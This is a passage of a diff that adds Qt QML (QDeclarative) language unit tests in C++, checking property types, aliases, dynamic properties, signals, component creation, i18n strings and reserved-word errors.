+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+}
+
+// Test that literals are stored correctly in variant properties
+void tst_qdeclarativelanguage::assignLiteralToVariant()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("assignLiteralToVariant.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").userType(), (int)QVariant::Int);
+ QCOMPARE(object->property("test2").userType(), (int)QMetaType::Double);
+ QCOMPARE(object->property("test3").userType(), (int)QVariant::String);
+ QCOMPARE(object->property("test4").userType(), (int)QVariant::Color);
+ QCOMPARE(object->property("test5").userType(), (int)QVariant::RectF);
+ QCOMPARE(object->property("test6").userType(), (int)QVariant::PointF);
+ QCOMPARE(object->property("test7").userType(), (int)QVariant::SizeF);
+ QCOMPARE(object->property("test8").userType(), (int)QVariant::Vector3D);
+ QCOMPARE(object->property("test9").userType(), (int)QVariant::String);
+ QCOMPARE(object->property("test10").userType(), (int)QVariant::Bool);
+ QCOMPARE(object->property("test11").userType(), (int)QVariant::Bool);
+
+ QVERIFY(object->property("test1") == QVariant(1));
+ QVERIFY(object->property("test2") == QVariant((double)1.7));
+ QVERIFY(object->property("test3") == QVariant(QString(QLatin1String("Hello world!"))));
+ QVERIFY(object->property("test4") == QVariant(QColor::fromRgb(0xFF008800)));
+ QVERIFY(object->property("test5") == QVariant(QRectF(10, 10, 10, 10)));
+ QVERIFY(object->property("test6") == QVariant(QPointF(10, 10)));
+ QVERIFY(object->property("test7") == QVariant(QSizeF(10, 10)));
+ QVERIFY(object->property("test8") == QVariant(QVector3D(100, 100, 100)));
+ QVERIFY(object->property("test9") == QVariant(QString(QLatin1String("#FF008800"))));
+ QVERIFY(object->property("test10") == QVariant(bool(true)));
+ QVERIFY(object->property("test11") == QVariant(bool(false)));
+
+ delete object;
+}
+
+// Tests that custom parser types can be instantiated
+void tst_qdeclarativelanguage::customParserTypes()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("customParserTypes.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QVERIFY(object->property("count") == QVariant(2));
+}
+
+// Tests that the root item can be a custom component
+void tst_qdeclarativelanguage::rootAsQmlComponent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("rootAsQmlComponent.qml"));
+ VERIFY_ERRORS(0);
+ MyContainer *object = qobject_cast<MyContainer *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("x"), QVariant(11));
+ QCOMPARE(object->getChildren()->count(), 2);
+}
+
+// Tests that components can be specified inline
+void tst_qdeclarativelanguage::inlineQmlComponents()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("inlineQmlComponents.qml"));
+ VERIFY_ERRORS(0);
+ MyContainer *object = qobject_cast<MyContainer *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->getChildren()->count(), 1);
+ QDeclarativeComponent *comp = qobject_cast<QDeclarativeComponent *>(object->getChildren()->at(0));
+ QVERIFY(comp != 0);
+ MyQmlObject *compObject = qobject_cast<MyQmlObject *>(comp->create());
+ QVERIFY(compObject != 0);
+ QCOMPARE(compObject->value(), 11);
+}
+
+// Tests that types that have an id property have it set
+void tst_qdeclarativelanguage::idProperty()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("idProperty.qml"));
+ VERIFY_ERRORS(0);
+ MyContainer *object = qobject_cast<MyContainer *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->getChildren()->count(), 1);
+ MyTypeObject *child =
+ qobject_cast<MyTypeObject *>(object->getChildren()->at(0));
+ QVERIFY(child != 0);
+ QCOMPARE(child->id(), QString("myObjectId"));
+ QCOMPARE(object->property("object"), QVariant::fromValue((QObject *)child));
+}
+
+// Tests automatic connection to notify signals if "onBlahChanged" syntax is used
+// even if the notify signal for "blah" is not called "blahChanged"
+void tst_qdeclarativelanguage::autoNotifyConnection()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("autoNotifyConnection.qml"));
+ VERIFY_ERRORS(0);
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QMetaProperty prop = object->metaObject()->property(object->metaObject()->indexOfProperty("receivedNotify"));
+ QVERIFY(prop.isValid());
+
+ QCOMPARE(prop.read(object), QVariant::fromValue(false));
+ object->setPropertyWithNotify(1);
+ QCOMPARE(prop.read(object), QVariant::fromValue(true));
+}
+
+// Tests that signals can be assigned to
+void tst_qdeclarativelanguage::assignSignal()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("assignSignal.qml"));
+ VERIFY_ERRORS(0);
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QTest::ignoreMessage(QtWarningMsg, "MyQmlObject::basicSlot");
+ emit object->basicSignal();
+ QTest::ignoreMessage(QtWarningMsg, "MyQmlObject::basicSlotWithArgs(9)");
+ emit object->basicParameterizedSignal(9);
+}
+
+// Tests the creation and assignment of dynamic properties
+void tst_qdeclarativelanguage::dynamicProperties()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("dynamicProperties.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("intProperty"), QVariant(10));
+ QCOMPARE(object->property("boolProperty"), QVariant(false));
+ QCOMPARE(object->property("doubleProperty"), QVariant(-10.1));
+ QCOMPARE(object->property("realProperty"), QVariant((qreal)-19.9));
+ QCOMPARE(object->property("stringProperty"), QVariant("Hello World!"));
+ QCOMPARE(object->property("urlProperty"), QVariant(TEST_FILE("main.qml")));
+ QCOMPARE(object->property("colorProperty"), QVariant(QColor("red")));
+ QCOMPARE(object->property("dateProperty"), QVariant(QDate(1945, 9, 2)));
+ QCOMPARE(object->property("varProperty"), QVariant("Hello World!"));
+}
+
+// Test that nested types can use dynamic properties
+void tst_qdeclarativelanguage::dynamicPropertiesNested()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("dynamicPropertiesNested.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("super_a").toInt(), 11); // Overridden
+ QCOMPARE(object->property("super_c").toInt(), 14); // Inherited
+ QCOMPARE(object->property("a").toInt(), 13); // New
+ QCOMPARE(object->property("b").toInt(), 12); // New
+
+ delete object;
+}
+
+// Tests the creation and assignment to dynamic list properties
+void tst_qdeclarativelanguage::listProperties()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("listProperties.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toInt(), 2);
+}
+
+// Tests the creation and assignment of dynamic object properties
+// ### Not complete
+void tst_qdeclarativelanguage::dynamicObjectProperties()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("dynamicObjectProperties.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QVERIFY(object->property("objectProperty") == qVariantFromValue((QObject*)0));
+ QVERIFY(object->property("objectProperty2") != qVariantFromValue((QObject*)0));
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("dynamicObjectProperties.2.qml"));
+ QEXPECT_FAIL("", "QTBUG-10822", Abort);
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QVERIFY(object->property("objectProperty") != qVariantFromValue((QObject*)0));
+ }
+}
+
+// Tests the declaration of dynamic signals and slots
+void tst_qdeclarativelanguage::dynamicSignalsAndSlots()
+{
+ QTest::ignoreMessage(QtDebugMsg, "1921");
+
+ QDeclarativeComponent component(&engine, TEST_FILE("dynamicSignalsAndSlots.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QVERIFY(object->metaObject()->indexOfMethod("signal1()") != -1);
+ QVERIFY(object->metaObject()->indexOfMethod("signal2()") != -1);
+ QVERIFY(object->metaObject()->indexOfMethod("slot1()") != -1);
+ QVERIFY(object->metaObject()->indexOfMethod("slot2()") != -1);
+
+ QCOMPARE(object->property("test").toInt(), 0);
+ QMetaObject::invokeMethod(object, "slot3", Qt::DirectConnection, Q_ARG(QVariant, QVariant(10)));
+ QCOMPARE(object->property("test").toInt(), 10);
+}
+
+void tst_qdeclarativelanguage::simpleBindings()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("simpleBindings.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("value1"), QVariant(10));
+ QCOMPARE(object->property("value2"), QVariant(10));
+ QCOMPARE(object->property("value3"), QVariant(21));
+ QCOMPARE(object->property("value4"), QVariant(10));
+ QCOMPARE(object->property("objectProperty"), QVariant::fromValue(object));
+}
+
+void tst_qdeclarativelanguage::autoComponentCreation()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("autoComponentCreation.qml"));
+ VERIFY_ERRORS(0);
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->componentProperty() != 0);
+ MyTypeObject *child = qobject_cast<MyTypeObject *>(object->componentProperty()->create());
+ QVERIFY(child != 0);
+ QCOMPARE(child->realProperty(), qreal(9));
+}
+
+void tst_qdeclarativelanguage::propertyValueSource()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("propertyValueSource.qml"));
+ VERIFY_ERRORS(0);
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QList<QObject *> valueSources;
+ QObjectList allChildren = object->findChildren<QObject*>();
+ foreach (QObject *child, allChildren) {
+ if (qobject_cast<QDeclarativePropertyValueSource *>(child))
+ valueSources.append(child);
+ }
+
+ QCOMPARE(valueSources.count(), 1);
+ MyPropertyValueSource *valueSource =
+ qobject_cast<MyPropertyValueSource *>(valueSources.at(0));
+ QVERIFY(valueSource != 0);
+ QCOMPARE(valueSource->prop.object(), qobject_cast<QObject*>(object));
+ QCOMPARE(valueSource->prop.name(), QString(QLatin1String("intProperty")));
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("propertyValueSource.2.qml"));
+ VERIFY_ERRORS(0);
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QList<QObject *> valueSources;
+ QObjectList allChildren = object->findChildren<QObject*>();
+ foreach (QObject *child, allChildren) {
+ if (qobject_cast<QDeclarativePropertyValueSource *>(child))
+ valueSources.append(child);
+ }
+
+ QCOMPARE(valueSources.count(), 1);
+ MyPropertyValueSource *valueSource =
+ qobject_cast<MyPropertyValueSource *>(valueSources.at(0));
+ QVERIFY(valueSource != 0);
+ QCOMPARE(valueSource->prop.object(), qobject_cast<QObject*>(object));
+ QCOMPARE(valueSource->prop.name(), QString(QLatin1String("intProperty")));
+ }
+}
+
+void tst_qdeclarativelanguage::attachedProperties()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("attachedProperties.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QObject *attached = qmlAttachedPropertiesObject<MyQmlObject>(object);
+ QVERIFY(attached != 0);
+ QCOMPARE(attached->property("value"), QVariant(10));
+ QCOMPARE(attached->property("value2"), QVariant(13));
+}
+
+// Tests non-static object properties
+void tst_qdeclarativelanguage::dynamicObjects()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("dynamicObject.1.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+}
+
+// Tests the registration of custom variant string converters
+void tst_qdeclarativelanguage::customVariantTypes()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("customVariantTypes.qml"));
+ VERIFY_ERRORS(0);
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->customType().a, 10);
+}
+
+void tst_qdeclarativelanguage::valueTypes()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("valueTypes.qml"));
+ VERIFY_ERRORS(0);
+
+ QString message = component.url().toString() + ":2:1: QML MyTypeObject: Binding loop detected for property \"rectProperty.width\"";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(message));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(message));
+
+ MyTypeObject *object = qobject_cast<MyTypeObject*>(component.create());
+ QVERIFY(object != 0);
+
+
+ QCOMPARE(object->rectProperty(), QRect(10, 11, 12, 13));
+ QCOMPARE(object->rectProperty2(), QRect(10, 11, 12, 13));
+ QCOMPARE(object->intProperty(), 10);
+ object->doAction();
+ QCOMPARE(object->rectProperty(), QRect(12, 11, 14, 13));
+ QCOMPARE(object->rectProperty2(), QRect(12, 11, 14, 13));
+ QCOMPARE(object->intProperty(), 12);
+
+ // ###
+#if 0
+ QDeclarativeProperty p(object, "rectProperty.x");
+ QCOMPARE(p.read(), QVariant(12));
+ p.write(13);
+ QCOMPARE(p.read(), QVariant(13));
+
+ quint32 r = QDeclarativePropertyPrivate::saveValueType(p.coreIndex(), p.valueTypeCoreIndex());
+ QDeclarativeProperty p2;
+ QDeclarativePropertyPrivate::restore(p2, r, object);
+ QCOMPARE(p2.read(), QVariant(13));
+#endif
+}
+
+void tst_qdeclarativelanguage::cppnamespace()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("cppnamespace.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("cppnamespace.2.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ delete object;
+ }
+}
+
+void tst_qdeclarativelanguage::aliasProperties()
+{
+ // Simple "int" alias
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.1.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ // Read through alias
+ QCOMPARE(object->property("valueAlias").toInt(), 10);
+ object->setProperty("value", QVariant(13));
+ QCOMPARE(object->property("valueAlias").toInt(), 13);
+
+ // Write through alias
+ object->setProperty("valueAlias", QVariant(19));
+ QCOMPARE(object->property("valueAlias").toInt(), 19);
+ QCOMPARE(object->property("value").toInt(), 19);
+
+ delete object;
+ }
+
+ // Complex object alias
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.2.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ // Read through alias
+ MyQmlObject *v =
+ qvariant_cast<MyQmlObject *>(object->property("aliasObject"));
+ QVERIFY(v != 0);
+ QCOMPARE(v->value(), 10);
+
+ // Write through alias
+ MyQmlObject *v2 = new MyQmlObject();
+ v2->setParent(object);
+ object->setProperty("aliasObject", qVariantFromValue(v2));
+ MyQmlObject *v3 =
+ qvariant_cast<MyQmlObject *>(object->property("aliasObject"));
+ QVERIFY(v3 != 0);
+ QCOMPARE(v3, v2);
+
+ delete object;
+ }
+
+ // Nested aliases
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.3.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("value").toInt(), 1892);
+ QCOMPARE(object->property("value2").toInt(), 1892);
+
+ object->setProperty("value", QVariant(1313));
+ QCOMPARE(object->property("value").toInt(), 1313);
+ QCOMPARE(object->property("value2").toInt(), 1313);
+
+ object->setProperty("value2", QVariant(8080));
+ QCOMPARE(object->property("value").toInt(), 8080);
+ QCOMPARE(object->property("value2").toInt(), 8080);
+
+ delete object;
+ }
+
+ // Enum aliases
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.4.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("enumAlias").toInt(), 1);
+
+ delete object;
+ }
+
+ // Id aliases
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.5.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QVariant v = object->property("otherAlias");
+ QCOMPARE(v.userType(), qMetaTypeId<MyQmlObject*>());
+ MyQmlObject *o = qvariant_cast<MyQmlObject*>(v);
+ QCOMPARE(o->value(), 10);
+
+ delete o;
+
+ v = object->property("otherAlias");
+ QCOMPARE(v.userType(), qMetaTypeId<MyQmlObject*>());
+ o = qvariant_cast<MyQmlObject*>(v);
+ QVERIFY(o == 0);
+
+ delete object;
+ }
+
+ // Nested aliases - this used to cause a crash
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.6.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("a").toInt(), 1923);
+ }
+
+ // Ptr Alias Cleanup - check that aliases to ptr types return 0
+ // if the object aliased to is removed
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.7.qml"));
+ VERIFY_ERRORS(0);
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QObject *object1 = qvariant_cast<QObject *>(object->property("object"));
+ QVERIFY(object1 != 0);
+ QObject *object2 = qvariant_cast<QObject *>(object1->property("object"));
+ QVERIFY(object2 != 0);
+
+ QObject *alias = qvariant_cast<QObject *>(object->property("aliasedObject"));
+ QVERIFY(alias == object2);
+
+ delete object1;
+
+ QObject *alias2 = object; // "Random" start value
+ int status = -1;
+ void *a[] = { &alias2, 0, &status };
+ QMetaObject::metacall(object, QMetaObject::ReadProperty,
+ object->metaObject()->indexOfProperty("aliasedObject"), a);
+ QVERIFY(alias2 == 0);
+ }
+
+ // Simple composite type
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.8.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("value").toInt(), 10);
+
+ delete object;
+ }
+
+ // Complex composite type
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.9.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("value").toInt(), 10);
+
+ delete object;
+ }
+
+ // Valuetype alias
+ // Simple "int" alias
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.10.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ // Read through alias
+ QCOMPARE(object->property("valueAlias").toRect(), QRect(10, 11, 9, 8));
+ object->setProperty("rectProperty", QVariant(QRect(33, 12, 99, 100)));
+ QCOMPARE(object->property("valueAlias").toRect(), QRect(33, 12, 99, 100));
+
+ // Write through alias
+ object->setProperty("valueAlias", QVariant(QRect(3, 3, 4, 9)));
+ QCOMPARE(object->property("valueAlias").toRect(), QRect(3, 3, 4, 9));
+ QCOMPARE(object->property("rectProperty").toRect(), QRect(3, 3, 4, 9));
+
+ delete object;
+ }
+
+ // Valuetype sub-alias
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("alias.11.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ // Read through alias
+ QCOMPARE(object->property("aliasProperty").toInt(), 19);
+ object->setProperty("rectProperty", QVariant(QRect(33, 8, 102, 111)));
+ QCOMPARE(object->property("aliasProperty").toInt(), 33);
+
+ // Write through alias
+ object->setProperty("aliasProperty", QVariant(4));
+ QCOMPARE(object->property("aliasProperty").toInt(), 4);
+ QCOMPARE(object->property("rectProperty").toRect(), QRect(4, 8, 102, 111));
+
+ delete object;
+ }
+}
+
+// QTBUG-13374 Test that alias properties and signals can coexist
+void tst_qdeclarativelanguage::aliasPropertiesAndSignals()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasPropertiesAndSignals.qml"));
+ VERIFY_ERRORS(0);
+ QObject *o = component.create();
+ QVERIFY(o);
+ QCOMPARE(o->property("test").toBool(), true);
+ delete o;
+}
+
+// Test that the root element in a composite type can be a Component
+void tst_qdeclarativelanguage::componentCompositeType()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("componentCompositeType.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+}
+
+class TestType : public QObject {
+ Q_OBJECT
+public:
+ TestType(QObject *p=0) : QObject(p) {}
+};
+
+class TestType2 : public QObject {
+ Q_OBJECT
+public:
+ TestType2(QObject *p=0) : QObject(p) {}
+};
+
+void tst_qdeclarativelanguage::i18n_data()
+{
+ QTest::addColumn<QString>("file");
+ QTest::addColumn<QString>("stringProperty");
+ QTest::newRow("i18nStrings") << "i18nStrings.qml" << QString::fromUtf8("Test \303\241\303\242\303\243\303\244\303\245 (5 accented 'a' letters)");
+ QTest::newRow("i18nDeclaredPropertyNames") << "i18nDeclaredPropertyNames.qml" << QString::fromUtf8("Test \303\241\303\242\303\243\303\244\303\245: 10");
+ QTest::newRow("i18nDeclaredPropertyUse") << "i18nDeclaredPropertyUse.qml" << QString::fromUtf8("Test \303\241\303\242\303\243\303\244\303\245: 15");
+ QTest::newRow("i18nScript") << "i18nScript.qml" << QString::fromUtf8("Test \303\241\303\242\303\243\303\244\303\245: 20");
+ QTest::newRow("i18nType") << "i18nType.qml" << QString::fromUtf8("Test \303\241\303\242\303\243\303\244\303\245: 30");
+ QTest::newRow("i18nNameSpace") << "i18nNameSpace.qml" << QString::fromUtf8("Test \303\241\303\242\303\243\303\244\303\245: 40");
+}
+
+void tst_qdeclarativelanguage::i18n()
+{
+ QFETCH(QString, file);
+ QFETCH(QString, stringProperty);
+ QDeclarativeComponent component(&engine, TEST_FILE(file));
+ VERIFY_ERRORS(0);
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->stringProperty(), stringProperty);
+
+ delete object;
+}
+
+// Check that the Component::onCompleted attached property works
+void tst_qdeclarativelanguage::onCompleted()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("onCompleted.qml"));
+ VERIFY_ERRORS(0);
+ QTest::ignoreMessage(QtDebugMsg, "Completed 6 10");
+ QTest::ignoreMessage(QtDebugMsg, "Completed 6 10");
+ QTest::ignoreMessage(QtDebugMsg, "Completed 10 11");
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+}
+
+// Check that the Component::onDestruction attached property works
+void tst_qdeclarativelanguage::onDestruction()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("onDestruction.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QTest::ignoreMessage(QtDebugMsg, "Destruction 6 10");
+ QTest::ignoreMessage(QtDebugMsg, "Destruction 6 10");
+ QTest::ignoreMessage(QtDebugMsg, "Destruction 10 11");
+ delete object;
+}
+
+// Check that assignments to QDeclarativeScriptString properties work
+void tst_qdeclarativelanguage::scriptString()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptString.qml"));
+ VERIFY_ERRORS(0);
+
+ MyTypeObject *object = qobject_cast<MyTypeObject*>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->scriptProperty().script(), QString("foo + bar"));
+ QCOMPARE(object->scriptProperty().scopeObject(), qobject_cast<QObject*>(object));
+ QCOMPARE(object->scriptProperty().context(), qmlContext(object));
+
+ QVERIFY(object->grouped() != 0);
+ QCOMPARE(object->grouped()->script().script(), QString("console.log(1921)"));
+ QCOMPARE(object->grouped()->script().scopeObject(), qobject_cast<QObject*>(object));
+ QCOMPARE(object->grouped()->script().context(), qmlContext(object));
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptString2.qml"));
+ VERIFY_ERRORS(0);
+
+ MyTypeObject *object = qobject_cast<MyTypeObject*>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->scriptProperty().script(), QString("\"hello\\n\\\"world\\\"\""));
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptString3.qml"));
+ VERIFY_ERRORS(0);
+
+ MyTypeObject *object = qobject_cast<MyTypeObject*>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->scriptProperty().script(), QString("12.345"));
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptString4.qml"));
+ VERIFY_ERRORS(0);
+
+ MyTypeObject *object = qobject_cast<MyTypeObject*>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->scriptProperty().script(), QString("true"));
+ }
+}
+
+// Check that default property assignments are correctly spliced into explicit
+// property assignments
+void tst_qdeclarativelanguage::defaultPropertyListOrder()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("defaultPropertyListOrder.qml"));
+ VERIFY_ERRORS(0);
+
+ MyContainer *container = qobject_cast<MyContainer *>(component.create());
+ QVERIFY(container != 0);
+
+ QCOMPARE(container->getChildren()->count(), 6);
+ QCOMPARE(container->getChildren()->at(0)->property("index"), QVariant(0));
+ QCOMPARE(container->getChildren()->at(1)->property("index"), QVariant(1));
+ QCOMPARE(container->getChildren()->at(2)->property("index"), QVariant(2));
+ QCOMPARE(container->getChildren()->at(3)->property("index"), QVariant(3));
+ QCOMPARE(container->getChildren()->at(4)->property("index"), QVariant(4));
+ QCOMPARE(container->getChildren()->at(5)->property("index"), QVariant(5));
+}
+
+void tst_qdeclarativelanguage::declaredPropertyValues()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("declaredPropertyValues.qml"));
+ VERIFY_ERRORS(0);
+}
+
+void tst_qdeclarativelanguage::dontDoubleCallClassBegin()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("dontDoubleCallClassBegin.qml"));
+ QObject *o = component.create();
+ QVERIFY(o);
+
+ MyParserStatus *o2 = qobject_cast<MyParserStatus *>(qvariant_cast<QObject *>(o->property("object")));
+ QVERIFY(o2);
+ QCOMPARE(o2->classBeginCount(), 1);
+ QCOMPARE(o2->componentCompleteCount(), 1);
+
+ delete o;
+}
+
+void tst_qdeclarativelanguage::reservedWords_data()
+{
+ QTest::addColumn<QByteArray>("word");
+
+ QTest::newRow("abstract") << QByteArray("abstract");
+ QTest::newRow("as") << QByteArray("as");
+ QTest::newRow("boolean") << QByteArray("boolean");
+ QTest::newRow("break") << QByteArray("break");
+ QTest::newRow("byte") << QByteArray("byte");
+ QTest::newRow("case") << QByteArray("case");
+ QTest::newRow("catch") << QByteArray("catch");
+ QTest::newRow("char") << QByteArray("char");
+ QTest::newRow("class") << QByteArray("class");
+ QTest::newRow("continue") << QByteArray("continue");
+ QTest::newRow("const") << QByteArray("const");
+ QTest::newRow("debugger") << QByteArray("debugger");
+ QTest::newRow("default") << QByteArray("default");
+ QTest::newRow("delete") << QByteArray("delete");
+ QTest::newRow("do") << QByteArray("do");
+ QTest::newRow("double") << QByteArray("double");
+ QTest::newRow("else") << QByteArray("else");
+ QTest::newRow("enum") << QByteArray("enum");
+ QTest::newRow("export") << QByteArray("export");
+ QTest::newRow("extends") << QByteArray("extends");
+ QTest::newRow("false") << QByteArray("false");
+ QTest::newRow("final") << QByteArray("final");
+ QTest::newRow("finally") << QByteArray("finally");
+ QTest::newRow("float") << QByteArray("float");
+ QTest::newRow("for") << QByteArray("for");
+ QTest::newRow("function") << QByteArray("function");
+ QTest::newRow("goto") << QByteArray("goto");
+ QTest::newRow("if") << QByteArray("if");
+ QTest::newRow("implements") << QByteArray("implements");
+ QTest::newRow("import") << QByteArray("import");
+ QTest::newRow("in") << QByteArray("in");
+ QTest::newRow("instanceof") << QByteArray("instanceof");
+ QTest::newRow("int") << QByteArray("int");
+ QTest::newRow("interface") << QByteArray("interface");
+ QTest::newRow("long") << QByteArray("long");
+ QTest::newRow("native") << QByteArray("native");
+ QTest::newRow("new") << QByteArray("new");
+ QTest::newRow("null") << QByteArray("null");
+ QTest::newRow("package") << QByteArray("package");
+ QTest::newRow("private") << QByteArray("private");
+ QTest::newRow("protected") << QByteArray("protected");
+ QTest::newRow("public") << QByteArray("public");
+ QTest::newRow("return") << QByteArray("return");
+ QTest::newRow("short") << QByteArray("short");
+ QTest::newRow("static") << QByteArray("static");
+ QTest::newRow("super") << QByteArray("super");
+ QTest::newRow("switch") << QByteArray("switch");
+ QTest::newRow("synchronized") << QByteArray("synchronized");
+ QTest::newRow("this") << QByteArray("this");
+ QTest::newRow("throw") << QByteArray("throw");
+ QTest::newRow("throws") << QByteArray("throws");
+ QTest::newRow("transient") << QByteArray("transient");
+ QTest::newRow("true") << QByteArray("true");
+ QTest::newRow("try") << QByteArray("try");
+ QTest::newRow("typeof") << QByteArray("typeof");
+ QTest::newRow("var") << QByteArray("var");
+ QTest::newRow("void") << QByteArray("void");
+ QTest::newRow("volatile") << QByteArray("volatile");
+ QTest::newRow("while") << QByteArray("while");
+ QTest::newRow("with") << QByteArray("with");
+}
+
+void tst_qdeclarativelanguage::reservedWords()
+{
+ QFETCH(QByteArray, word);
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nQtObject { property string " + word + " }", QUrl());
+ QCOMPARE(component.errorString(), QLatin1String(":2 Expected token `identifier'\n"));
+}
+
+// Check that first child of qml is of given type. Empty type insists on error.
+void tst_qdeclarativelanguage::testType(const QString& qml, const QString& type, const QString& expectederror)
+{
+ QDeclarativeComponent component(&engine);
+ component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports
+
+ QTRY_VERIFY(!component.isLoading());
+
+ if (type.isEmpty()) {
+ QVERIFY(component.isError());
+ QString actualerror;
